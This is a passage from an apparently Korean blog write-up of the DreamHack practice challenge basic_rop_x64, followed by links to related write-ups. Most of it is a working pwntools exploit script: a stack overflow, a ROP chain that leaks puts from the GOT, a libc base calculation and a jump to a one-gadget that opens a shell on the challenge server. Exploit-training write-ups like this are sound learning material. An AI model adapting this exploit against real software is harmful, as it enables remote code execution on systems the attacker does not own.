A까지 받으려고 했는데 잘 안돼서 하위 3바이트 offset은 똑같을 것이므로(?) ‘\x90’까지 받고 뒤에 \x90 붙이고 앞에 \x00\x00을 붙여서 leak을 했고 libc base 구한 후 one gadget off를 더해서 one gadget을 구했다.
그리고 return address->onegadget하면 쉘 획득!
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
#p = process("./basic_rop_x64")
p = remote("host1.dreamhack.games", 8248)
elf = ELF("./basic_rop_x64")
libc = elf.libc
pop_rdi = 0x00400883
pay = 'A'*(0x40+0x8)
pay += p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts'])
pay += p64(elf.symbols['main'])
p.send(pay)
p.recvuntil('\x90')
leak = u64('\x90' + p.recvuntil('\x7f') + '\x00\x00')
log.info("leak : "+hex(leak))
libcBase = leak - libc.symbols['puts']
one_gadget = libcBase + 0x45216
p.send('A'*(0x40+0x8) + p64(one_gadget))
p.interactive()
[DreamHack] basic_exploitation_001 (0) | 2020.05.31 |
---|---|
[DreamHack] basic_rop_x86 (0) | 2020.05.31 |
[DreamHack] oneshot (2) | 2020.05.31 |
[DreamHack] ssp_001 (0) | 2020.05.31 |
[Dreamhack] ssp_000 (0) | 2020.05.31 |